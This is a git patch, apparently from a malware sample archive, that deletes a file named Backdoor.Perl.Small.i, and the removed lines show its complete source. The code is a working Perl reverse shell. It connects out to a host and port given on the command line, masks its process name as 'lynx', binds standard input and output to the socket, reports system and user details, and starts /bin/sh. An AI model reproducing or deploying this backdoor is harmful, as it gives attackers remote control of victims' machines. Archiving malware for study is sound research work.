From 0ee2010aec1cde74d9304b410442721b3b405077 Mon Sep 17 00:00:00 2001
From: vxunderground <57078196+vxunderground@users.noreply.github.com>
Date: Sat, 14 Nov 2020 01:07:14 -0600
Subject: [PATCH] Delete Backdoor.Perl.Small.i

na
---
 Perl/Backdoor.Perl.Small.i | 18 ------------------
 1 file changed, 18 deletions(-)
 delete mode 100644 Perl/Backdoor.Perl.Small.i

diff --git a/Perl/Backdoor.Perl.Small.i b/Perl/Backdoor.Perl.Small.i
deleted file mode 100644
index ee19680a..00000000
--- a/Perl/Backdoor.Perl.Small.i
+++ /dev/null
@@ -1,18 +0,0 @@
-use Socket;
-$cmd= "lynx";
-$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
-$0=$cmd;
-$target=$ARGV[0];
-$port=$ARGV[1];
-$iaddr=inet_aton($target) || die("Error: $!\n");
-$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
-$proto=getprotobyname('tcp');
-socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
-connect(SOCKET, $paddr) || die("Error: $!\n");
-open(STDIN, ">&SOCKET");
-open(STDOUT, ">&SOCKET");
-open(STDERR, ">&SOCKET");
-system($system);
-close(STDIN);
-close(STDOUT);
-close(STDERR);
\ No newline at end of file